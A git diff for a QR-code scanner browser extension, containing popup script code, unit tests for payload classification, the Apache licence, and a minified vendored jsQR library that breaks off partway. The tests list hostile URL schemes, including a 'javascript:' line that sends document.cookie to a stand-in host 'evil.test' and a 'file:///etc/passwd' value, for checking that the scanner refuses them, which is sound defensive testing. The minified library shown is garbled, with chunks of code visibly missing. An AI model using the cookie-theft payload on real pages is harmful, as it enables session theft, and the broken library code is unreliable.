scanBlob(blob) { + return run(() => decodeImage(blob), 'Reading image…'); +} + +/* --- theme ---------------------------------------------------------------- */ + +/** @param {string} theme */ +function applyTheme(theme) { + if (theme === 'auto') { + delete document.documentElement.dataset.theme; + } else { + document.documentElement.dataset.theme = theme; + } + els.theme.dataset.mode = theme; + els.theme.title = `Theme: ${theme} — click to change`; +} + +async function initTheme() { + const stored = await chrome.storage.local.get(THEME_KEY); + applyTheme(THEMES.includes(stored[THEME_KEY]) ? stored[THEME_KEY] : 'auto'); +} + +async function cycleTheme() { + const stored = await chrome.storage.local.get(THEME_KEY); + // An unset or unrecognised value is 'auto', which is index 0 — without the + // clamp, indexOf's -1 would make the first click a no-op. + const index = Math.max(0, THEMES.indexOf(stored[THEME_KEY])); + const next = THEMES[(index + 1) % THEMES.length]; + await chrome.storage.local.set({ [THEME_KEY]: next }); + applyTheme(next); +} + +/* --- wiring --------------------------------------------------------------- */ + +els.scan.addEventListener('click', scanTab); +els.pick.addEventListener('click', () => els.file.click()); +els.theme.addEventListener('click', cycleTheme); + +els.file.addEventListener('change', () => { + const [file] = els.file.files ?? []; + if (file) scanBlob(file); + els.file.value = ''; +}); + +els.copy.addEventListener('click', () => { + if (current) copyText(current.text); +}); + +els.open.addEventListener('click', () => { + // Re-vet at the point of navigation rather than trusting the stored value. + const url = current && resolveTarget(current.text); + if (url) openUrl(url); +}); + +els.clear.addEventListener('click', async () => { + await history.clear(); + await renderHistory(); +}); + +/* Drag and drop, guarded so the popup never navigates to a dropped file. */ +let dragDepth = 0; +document.addEventListener('dragenter', (event) => { + event.preventDefault(); + dragDepth += 1; + document.body.classList.add('is-dragging'); +}); +document.addEventListener('dragover', (event) => event.preventDefault()); +document.addEventListener('dragleave', () => { + dragDepth = Math.max(0, dragDepth - 1); + if (dragDepth === 0) document.body.classList.remove('is-dragging'); +}); +document.addEventListener('drop', (event) => { + event.preventDefault(); + dragDepth = 0; + document.body.classList.remove('is-dragging'); + const file = [...(event.dataTransfer?.files ?? [])].find((f) => f.type.startsWith('image/')); + if (file) scanBlob(file); + else setStatus('That was not an image file.', 'error'); +}); + +document.addEventListener('paste', (event) => { + const item = [...(event.clipboardData?.items ?? [])].find((i) => i.type.startsWith('image/')); + const file = item?.getAsFile(); + if (file) { + event.preventDefault(); + scanBlob(file); + } +}); + +/* Enter/Space on the popup with nothing focused should just scan. */ +document.addEventListener('keydown', (event) => { + if (event.key === 'Enter' && event.target === document.body) scanTab(); +}); + +await initTheme(); +await renderHistory(); diff --git a/test/payload.test.js b/test/payload.test.js new file mode 100644 index 0000000..98d67d2 --- /dev/null +++ b/test/payload.test.js @@ -0,0 +1,116 @@ +import assert from 'node:assert/strict'; +import { describe, it } from 'node:test'; + +import { classify, condense, resolveTarget } from '../src/payload.js'; + +describe('resolveTarget', () => { + it('accepts ordinary web URLs', () => { + assert.equal(resolveTarget('https://example.com/a?b=1'), 'https://example.com/a?b=1'); + assert.equal(resolveTarget(' http://example.com '), 'http://example.com/'); + }); + + it('upgrades bare hostnames to https', () => { + assert.equal(resolveTarget('example.com'), 'https://example.com/'); + assert.equal(resolveTarget('www.example.com/docs'), 'https://www.example.com/docs'); + }); + + it('allows communication schemes', () => { + assert.equal(resolveTarget('mailto:a@example.com'), 'mailto:a@example.com'); + assert.equal(resolveTarget('tel:+15551234'), 'tel:+15551234'); + assert.equal(resolveTarget('geo:50.45,30.52'), 'geo:50.45,30.52'); + }); + + it('refuses schemes that can execute or exfiltrate', () => { + for (const hostile of [ + 'javascript:alert(1)', + 'JaVaScRiPt:alert(1)', + 'data:text/html,', + 'blob:https://example.com/abc', + 'file:///etc/passwd', + 'chrome://settings', + 'chrome-extension://abc/popup.html', + 'vbscript:msgbox(1)', + ]) { + assert.equal(resolveTarget(hostile), null, `${hostile} must not be openable`); + } + }); + + it('does not invent a scheme for free text', () => { + assert.equal(resolveTarget('just some text'), null); + assert.equal(resolveTarget(''), null); + assert.equal(resolveTarget(' '), null); + assert.equal(resolveTarget('Meeting at 5pm.'), null); + }); +}); + +describe('classify', () => { + it('recognises links', () => { + const payload = classify('https://example.com/'); + assert.equal(payload.kind, 'url'); + assert.equal(payload.url, 'https://example.com/'); + }); + + it('keeps the raw text verbatim for copying', () => { + const raw = ' https://example.com/ '; + assert.equal(classify(raw).text, raw); + }); + + it('parses Wi-Fi credentials without exposing the password', () => { + const payload = classify('WIFI:T:WPA;S:Cafe Rio;P:hunter2;H:false;;'); + assert.equal(payload.kind, 'wifi'); + assert.equal(payload.preview, 'Cafe Rio'); + assert.equal(payload.url, null); + assert.ok(!payload.preview.includes('hunter2')); + assert.ok(!payload.note.includes('hunter2')); + }); + + it('handles escaped separators in Wi-Fi payloads', () => { + const payload = classify('WIFI:T:WPA;S:Guest\\;Net;P:pw;;'); + assert.equal(payload.preview, 'Guest;Net'); + }); + + it('redacts one-time-password secrets', () => { + const raw = 'otpauth://totp/ACME:alice@example.com?secret=JBSWY3DPEHPK3PXP&issuer=ACME'; + const payload = classify(raw); + assert.equal(payload.kind, 'otp'); + assert.ok(!payload.preview.includes('JBSWY3DPEHPK3PXP')); + assert.equal(payload.url, null); + assert.equal(payload.text, raw, 'the secret is still copyable on request'); + }); + + it('reads contact cards', () => { + assert.equal( + classify('BEGIN:VCARD\nVERSION:3.0\nFN:Ada Lovelace\nEND:VCARD').preview, + 'Ada Lovelace', + ); + assert.equal(classify('MECARD:N:Ada Lovelace;TEL:123;;').preview, 'Ada Lovelace'); + }); + + it('treats a javascript payload as inert text', () => { + const payload = classify('javascript:fetch("https://evil.test?c="+document.cookie)'); + assert.equal(payload.kind, 'text'); + assert.equal(payload.url, null); + }); + + it('falls back to plain text', () => { + const payload = classify('Table 12 — order #4471'); + assert.equal(payload.kind, 'text'); + assert.equal(payload.url, null); + }); +}); + +describe('condense', () => { + it('drops the scheme and www for readability', () => { + assert.equal(condense('https://www.example.com/docs/intro'), 'example.com/docs/intro'); + assert.equal(condense('https://example.com/'), 'example.com'); + }); + + it('truncates long values', () => { + assert.equal(condense('x'.repeat(200), 10).length, 10); + assert.ok(condense('x'.repeat(200), 10).endsWith('…')); + }); + + it('collapses whitespace in free text', () => { + assert.equal(condense('two\n\nlines'), 'two lines'); + }); +}); diff --git a/vendor/jsqr.LICENSE.txt b/vendor/jsqr.LICENSE.txt new file mode 100644 index 0000000..8f71f43 --- /dev/null +++ b/vendor/jsqr.LICENSE.txt @@ -0,0 +1,202 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + diff --git a/vendor/jsqr.min.js b/vendor/jsqr.min.js new file mode 100644 index 0000000..01cca9d --- /dev/null +++ b/vendor/jsqr.min.js @@ -0,0 +1,2 @@ +/*! jsQR v1.4.0 | https://github.com/cozmo/jsQR | Apache-2.0 | see jsqr.LICENSE.txt */ +var F0=Object.create;var E0=Object.defineProperty;var A0=Object.getOwnPropertyDescriptor;var o0=Object.getOwnPropertyNames;var r0=Object.getPrototypeOf,D0=Object.prototype.hasOwnProperty;var t0=(N,u)=>()=>(u||N((u={exports:{}}).exports,u),u.exports);var a0=(N,u,P,g)=>{if(u&&typeof u=="object"||typeof u=="function")for(let f of o0(u))!D0.call(N,f)&&f!==P&&E0(N,f,{get:()=>u[f],enumerable:!(g=A0(u,f))||g.enumerable});return N};var s0=(N,u,P)=>(P=N!=null?F0(r0(N)):{},a0(u||!N||!N.__esModule?E0(P,"default",{value:N,enumerable:!0}):P,N));var B0=t0((W,x0)=>{(function(u,P){typeof W=="object"&&typeof x0=="object"?x0.exports=P():typeof define=="function"&&define.amd?define([],P):typeof W=="object"?W.jsQR=P():u.jsQR=P()})(typeof self<"u"?self:W,function(){return function(N){var u={};function P(g){if(u[g])return u[g].exports;var f=u[g]={i:g,l:!1,exports:{}};return N[g].call(f.exports,f,f.exports,P),f.l=!0,f.exports}return P.m=N,P.c=u,P.d=function(g,f,l){P.o(g,f)||Object.defineProperty(g,f,{configurable:!1,enumerable:!0,get:l})},P.n=function(g){var f=g&&g.__esModule?function(){return g.default}:function(){return g};return P.d(f,"a",f),f},P.o=function(g,f){return Object.prototype.hasOwnProperty.call(g,f)},P.p="",P(P.s=3)}([function(N,u,P){"use strict";Object.defineProperty(u,"__esModule",{value:!0});var g=function(){function f(l,s){this.width=s,this.height=l.length/s,this.data=l}return f.createEmpty=function(l,s){return new f(new Uint8ClampedArray(l*s),l)},f.prototype.get=function(l,s){return l<0||l>=this.width||s<0||s>=this.height?!1:!!this.data[s*this.width+l]},f.prototype.set=function(l,s,c){this.data[s*this.width+l]=c?1:0},f.prototype.setRegion=function(l,s,c,o,E){for(var r=s;r=this.size&&(r=(r^this.primitive)&this.size-1);for(var a=0;a1&&c[0]===0){for(var E=1;EE.length&&(c=[E,o],o=c[0],E=c[1]);for(var r=new Uint8ClampedArray(E.length),a=E.length-o.length,F=0;Fa?a:E}var c=function(){function E(r,a){this.width=r,this.data=new Uint8ClampedArray(r*a)}return E.prototype.get=function(r,a){return this.data[a*this.width+r]},E.prototype.set=function(r,a,F){this.data[a*this.width+r]=F},E}();function o(E,r,a,F){if(E.length!==r*a*4)throw new Error("Malformed data passed to binarizer.");for(var d=new c(r,a),D=0;D0&&n>0)){var h=(C.get(n,t-1)+2*C.get(n-1,t)+C.get(n-1,t-1))/4;m6&&(e.setRegion(B-11,0,3,6,!0),e.setRegion(0,B-11,6,3,!0)),e}function F(x,B,e){for(var C=r[e.dataMask],t=x.height,n=a(B),k=[],m=0,v=0,M=!0,p=t-1;p>0;p-=2){p===6&&p--;for(var h=0;h=0;t--)for(var n=B-9;n>=B-11;n--)C=o(x.get(n,t),C);for(var k=0,n=5;n>=0;n--)for(var t=B-9;t>=B-11;t--)k=o(x.get(n,t),k);for(var m=1/0,v,M=0,p=s.VERSIONS;M=0;C--)C!==6&&(B=o(x.get(8,C),B));for(var t=x.height,n=0,C=t-1;C>=t-7;C--)n=o(x.get(8,C),n);for(var e=t-8;e1)for(var h=C.ecBlocks[0].numBlocks,I=C.ecBlocks[1].numBlocks,m=0;m0;)for(var b=0,S=t;b=3;){var B=d.readBits(10);if(B>=1e3)throw new Error("Invalid numeric value above 999");var e=Math.floor(B/100),C=Math.floor(B/10)%10,t=B%10;i.push(48+e,48+C,48+t),w+=e.toString()+C.toString()+t.toString(),x-=3}if(x===2){var B=d.readBits(7);if(B>=100)throw new Error("Invalid numeric value above 99");var e=Math.floor(B/10),C=B%10;i.push(48+e,48+C),w+=e.toString()+C.toString()}else if(x===1){var B=d.readBits(4);if(B>=10)throw new Error("Invalid numeric value above 9");i.push(48+B),w+=B.toString()}return{bytes:i,text:w}}var o=["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"," ","$","%","*","+","-",".","/",":"];function E(d,D){for(var i=[],w="",A=[9,11,13][D],x=d.readBits(A);x>=2;){var B=d.readBits(11),e=Math.floor(B/45),C=B%45;i.push(o[e].charCodeAt(0),o[C].charCodeAt(0)),w+=o[e]+o[C],x-=2}if(x===1){var e=d.readBits(6);i.push(o[e].charCodeAt(0)),w+=o[e]}return{bytes:i,text:w}}function r(d,D){for(var i=[],w="",A=[8,16,16][D],x=d.readBits(A),B=0;B>8,C&255),w+=String.fromCharCode(f.shiftJISTable[C])}return{bytes:i,text:w}}function F(d,D){for(var i,w,A,x,B=new g.BitStream(d),e=D<=9?0:D<=26?1:2,C={text:"",bytes:[],chunks:[],version:D};B.available()>=4;){var t=B.readBits(4);if(t===s.Terminator)return C;if(t===s.ECI)B.readBits(1)===0?C.chunks.push({type:l.ECI,assignmentNumber:B.readBits(7)}):B.readBits(1)===0?C.chunks.push({type:l.ECI,assignmentNumber:B.readBits(14)}):B.readBits(1)===0?C.chunks.push({type:l.ECI,assignmentNumber:B.readBits(21)}):C.chunks.push({type:l.ECI,assignmentNumber:-1});else if(t===s.Numeric){var n=c(B,e);C.text+=n.text,(i=C.bytes).push.apply(i,n.bytes),C.chunks.push({type:l.Numeric,text:n.text})}else if(t===s.Alphanumeric){var k=E(B,e);C.text+=k.text,(w=C.bytes).push.apply(w,k.bytes),C.chunks.push({type:l.Alphanumeric,text:k.text})}else if(t===s.Byte){var m=r(B,e);C.text+=m.text,(A=C.bytes).push.apply(A,m.bytes),C.chunks.push({type:l.Byte,bytes:m.bytes,text:m.text})}else if(t===s.Kanji){var v=a(B,e);C.text+=v.text,(x=C.bytes).push.apply(x,v.bytes),C.chunks.push({type:l.Kanji,bytes:v.bytes,text:v.text})}}if(B.available()===0||B.readBits(B.available())===0)return C}u.decode=F},function(N,u,P){"use strict";Object.defineProperty(u,"__esModule",{value:!0});var g=function(){function f(l){this.byteOffset=0,this.bitOffset=0,this.bytes=l}return f.prototype.readBits=function(l){if(l<1||l>32||l>this.available())throw new Error("Cannot read "+l.toString()+" bits");var s=0;if(this.bitOffset>0){var c=8-this.bitOffset,o=l>8-o<>E,l-=o,this.bitOffset+=o,this.bitOffset===8&&(this.bitOffset=0,this.byteOffset++)}if(l>0){for(;l>=8;)s=s<<8|this.bytes[this.byteOffset]&255,this.byteOffset++,l-=8;if(l>0){var E=8-l,r=255>>E<>E,this.bitOffset+=l}}return s},f.prototype.available=function(){return 8*(this.bytes.length-this.byteOffset)-this.bitOffset},f}();u.BitStream=g},function(N,u,P){"use strict";Object.defineProperty(u,"__esModule",{value:!0}),u.shiftJISTable={32:32,33:33,34:34,35:35,36:36,37:37,38:38,39:39,40:40,41:41,42:42,43:43,44:44,45:45,46:46,47:47,48:48,49:49,50:50,51:51,52:52,53:53,54:54,55:55,56:56,57:57,58:58,59:59,60:60,61:61,62:62,63:63,64:64,65:65,66:66,67:67,68:68,69:69,70:70,71:71,72:72,73:73,74:74,75:75,76:76,77:77,78:78,79:79,80:80,81:81,82:82,83:83,84:84,85:85,86:86,87:87,88:88,89:89,90:90,91:91,92:165,93:93,94:94,95:95,96:96,97:97,98:98,99:99,100:100,101:101,102:102,103:103,104:104,105:105,106:106,107:107,108:108,109:109,110:110,111:111,112:112,113:113,114:114,115:115,116:116,117:117,118:118,119:119,120:120,121:121,122:122,123:123,124:124,125:125,126:8254,33088:12288,33089:12289,33090:12290,33091:65292,33092:65294,33093:12539,33094:65306,33095:65307,33096:65311,33097:65281,33098:12443,33099:12444,33100:180,33101:65344,33102:168,33103:65342,33104:65507,33105:65343,33106:12541,33107:12542,33108:12445,33109:12446,33110:12291,33111:20189,33112:12293,33113:12294,33114:12295,33115:12540,33116:8213,33117:8208,33118:65295,33119:92,33120:12316,33121:8214,33122:65372,33123:8230,33124:8229,33125:8216,33126:8217,33127:8220,33128:8221,33129:65288,33130:65289,33131:12308,33132:12309,33133:65339,33134:65341,33135:65371,33136:65373,33137:12296,33138:12297,33139:12298,33140:12299,33141:12300,33142:12301,33143:12302,33144:12303,33145:12304,33146:12305,33147:65291,33148:8722,33149:177,33150:215,33152:247,33153:65309,33154:8800,33155:65308,33156:65310,33157:8806,33158:8807,33159:8734,33160:8756,33161:9794,33162:9792,33163:176,33164:8242,33165:8243,33166:8451,33167:65509,33168:65284,33169:162,33170:163,33171:65285,33172:65283,33173:65286,33174:65290,33175:65312,33176:167,33177:9734,33178:9733,33179:9675,33180:9679,33181:9678,33182:9671,33183:9670,33184:9633,33185:9632,33186:9651,33187:9650,33188:9661,33189:9660,33190:8251,33191:12306,33192:8594,33193:8592,33194:8593,33195:8595,33196:12307,33208:8712,33209:8715,33210:8838,33211:8839,33212:8834,33213:8835,33214:8746,33215:8745,33224:8743,33225:8744,33226:172,33227:8658,33228:8660,33229:8704,33230:8707,33242:8736,33243:8869,33244:8978,33245:8706,33246:8711,33247:8801,33248:8786,33249:8810,33250:8811,33251:8730,33252:8765,33253:8733,33254:8757,33255:8747,33256:8748,33264:8491,33265:8240,33266:9839,33267:9837,33268:9834,33269:8224,33270:8225,33271:182,33276:9711,33359:65296,33360:65297,33361:65298,33362:65299,33363:65300,33364:65301,33365:65302,33366:65303,33367:65304,33368:65305,33376:65313,33377:65314,33378:65315,33379:65316,33380:65317,33381:65318,33382:65319,33383:65320,33384:65321,33385:65322,33386:65323,33387:65324,33388:65325,33389:65326,33390:65327,33391:65328,33392:65329,33393:65330,33394:65331,33395:65332,33396:65333,33397:65334,33398:65335,33399:65336,33400:65337,33401:65338,33409:65345,33410:65346,33411:65347,33412:65348,33413:65349,33414:65350,33415:65351,33416:65352,33417:65353,33418:65354,33419:65355,33420:65356,33421:65357,33422:65358,33423:65359,33424:65360,33425:65361,33426:65362,33427:65363,33428:65364,33429:65365,33430:65366,33431:65367,33432:65368,33433:65369,33434:65370,33439:12353,33440:12354,33441:12355,33442:12356,33443:12357,33444:12358,33445:12359,33446:12360,33447:12361,33448:12362,33449:12363,33450:12364,33451:12365,33452:12366,33453:12367,33454:12368,33455:12369,33456:12370,33457:12371,33458:12372,33459:12373,33460:12374,33461:12375,33462:12376,33463:12377,33464:12378,33465:12379,33466:12380,33467:12381,33468:12382,33469:12383,33470:12384,33471:12385,33472:12386,33473:12387,33474:12388,33475:12389,33476:12390,33477:12391,33478:12392,33479:12393,33480:12394,33481:12395,33482:12396,33483:12397,33484:12398,33485:12399,33486:12400,33487:12401,33488:12402,33489:12403,33490:12404,33491:12405,33492:12406,33493:12407,33494:12408,33495:12409,33496:12410,33497:12411,33498:12412,33499:12413,33500:12414,33501:12415,33502:12416,33503:12417,33504:12418,33505:12419,33506:12420,33507:12421,33508:12422,33509:12423,33510:12424,33511:12425,33512:12426,33513:12427,33514:12428,33515:12429,33516:12430,33517:12431,33518:12432,33519:12433,33520:12434,33521:12435,33600:12449,33601:12450,33602:12451,33603:12452,33604:12453,33605:12454,33606:12455,33607:12456,33608:12457,33609:12458,33610:12459,33611:12460,33612:12461,33613:12462,33614:12463,33615:12464,33616:12465,33617:12466,33618:12467,33619:12468,33620:12469,33621:12470,33622:12471,33623:12472,33624:12473,33625:12474,33626:12475,33627:12476,33628:12477,33629:12478,33630:12479,33631:12480,33632:12481,33633:12482,33634:12483,33635:12484,33636:12485,33637:12486,33638:12487,33639:12488,33640:12489,33641:12490,33642:12491,33643:12492,33644:12493,33645:12494,33646:12495,33647:12496,33648:12497,33649:12498,33650:12499,33651:12500,33652:12501,33653:12502,33654:12503,33655:12504,33656:12505,33657:12506,33658:12507,33659:12508,33660:12509,33661:12510,33662:12511,33664:12512,33665:12513,33666:12514,33667:12515,33668:12516,33669:12517,33670:12518,33671:12519,33672:12520,33673:12521,33674:12522,33675:12523,33676:12524,33677:12525,33678:12526,33679:12527,33680:12528,33681:12529,33682:12530,33683:12531,33684:12532,33685:12533,33686:12534,33695:913,33696:914,33697:915,33698:916,33699:917,33700:918,33701:919,33702:920,33703:921,33704:922,33705:923,33706:924,33707:925,33708:926,33709:927,33710:928,33711:929,33712:931,33713:932,33714:933,33715:934,33716:935,33717:936,33718:937,33727:945,33728:946,33729:947,33730:948,33731:949,33732:950,33733:951,33734:952,33735:953,33736:954,33737:955,33738:956,33739:957,33740:958,33741:959,33742:960,33743:961,33744:963,33745:964,33746:965,33747:966,33748:967,33749:968,33750:969,33856:1040,33857:1041,33858:1042,33859:1043,33860:1044,33861:1045,33862:1025,33863:1046,33864:1047,33865:1048,33866:1049,33867:1050,33868:1051,33869:1052,33870:1053,33871:1054,33872:1055,33873:1056,33874:1057,33875:1058,33876:1059,33877:1060,33878:1061,33879:1062,33880:1063,33881:1064,33882:1065,33883:1066,33884:1067,33885:1068,33886:1069,33887:1070,33888:1071,33904:1072,33905:1073,33906:1074,33907:1075,33908:1076,33909:1077,33910:1105,33911:1078,33912:1079,33913:1080,33914:1081,33915:1082,33916:1083,33917:1084,33918:1085,33920:1086,33921:1087,33922:1088,33923:1089,33924:1090,33925:1091,33926:1092,33927:1093,33928:1094,33929:1095,33930:1096,33931:1097,33932:1098,33933:1099,33934:1100,33935:1101,33936:1102,33937:1103,33951:9472,33952:9474,33953:9484,33954:9488,33955:9496,33956:9492,33957:9500,33958:9516,33959:9508,33960:9524,33961:9532,33962:9473,33963:9475,33964:9487,33965:9491,33966:9499,33967:9495,33968:9507,33969:9523,33970:9515,33971:9531,33972:9547,33973:9504,33974:9519,33975:9512,33976:9527,33977:9535,33978:9501,33979:9520,33980:9509,33981:9528,33982:9538,34975:20124,34976:21782,34977:23043,34978:38463,34979:21696,34980:24859,34981:25384,34982:23030,34983:36898,34984:33909,34985:33564,34986:31312,34987:24746,34988:25569,34989:28197,34990:26093,34991:33894,34992:33446,34993:39925,34994:26771,34995:22311,34996:26017,34997:25201,34998:23451,34999:22992,35e3:34427,35001:39156,35002:32098,35003:32190,35004:39822,35005:25110,35006:31903,35007:34999,35008:23433,35009:24245,35010:25353,35011:26263,35012:26696,35013:38343,35014:38797,35015:26447,35016:20197,35017:20234,35018:20301,35019:20381,35020:20553,35021:22258,35022:22839,35023:22996,35024:23041,35025:23561,35026:24799,35027:24847,35028:24944,35029:26131,35030:26885,35031:28858,35032:30031,35033:30064,35034:31227,35035:32173,35036:32239,35037:32963,35038:33806,35039:34915,35040:35586,35041:36949,35042:36986,35043:21307,35044:20117,35045:20133,35046:22495,35047:32946,35048:37057,35049:30959,35050:19968,35051:22769,35052:28322,35053:36920,35054:31282,35055:33576,35056:33419,35057:39983,35058:20801,35059:21360,35060:21693,35061:21729,35062:22240,35063:23035,35064:24341,35065:39154,35066:28139,35067:32996,35068:34093,35136:38498,35137:38512,35138:38560,35139:38907,35140:21515,35141:21491,35142:23431,35143:28879,35144:32701,35145:36802,35146:38632,35147:21359,35148:40284,35149:31418,35150:19985,35151:30867,35152:33276,35153:28198,35154:22040,35155:21764,35156:27421,35157:34074,35158:39995,35159:23013,35160:21417,35161:28006,35162:29916,35163:38287,35164:22082,35165:20113,35166:36939,35167:38642,35168:33615,35169:39180,35170:21473,35171:21942,35172:23344,35173:24433,35174:26144,35175:26355,35176:26628,35177:27704,35178:27891,35179:27945,35180:29787,35181:30408,35182:31310,35183:38964,35184:33521,35185:34907,35186:35424,35187:37613,35188:28082,35189:30123,35190:30410,35191:39365,35192:24742,35193:35585,35194:36234,35195:38322,35196:27022,35197:21421,35198:20870,35200:22290,35201:22576,35202:22852,35203:23476,35204:24310,35205:24616,35206:25513,35207:25588,35208:27839,35209:28436,35210:28814,35211:28948,35212:29017,35213:29141,35214:29503,35215:32257,35216:33398,35217:33489,35218:34199,35219:36960,35220:37467,35221:40219,35222:22633,35223:26044,35224:27738,35225:29989,35226:20985,35227:22830,35228:22885,35229:24448,35230:24540,35231:25276,35232:26106,35233:27178,35234:27431,35235:27572,35236:29579,35237:32705,35238:35158,35239:40236,35240:40206,35241:40644,35242:23713,35243:27798,35244:33659,35245:20740,35246:23627,35247:25014,35248:33222,35249:26742,35250:29281,35251:20057,35252:20474,35253:21368,35254:24681,35255:28201,35256:31311,35257:38899,35258:19979,35259:21270,35260:20206,35261:20309,35262:20285,35263:20385,35264:20339,35265:21152,35266:21487,35267:22025,35268:22799,35269:23233,35270:23478,35271:23521,35272:31185,35273:26247,35274:26524,35275:26550,35276:27468,35277:27827,35278:28779,35279: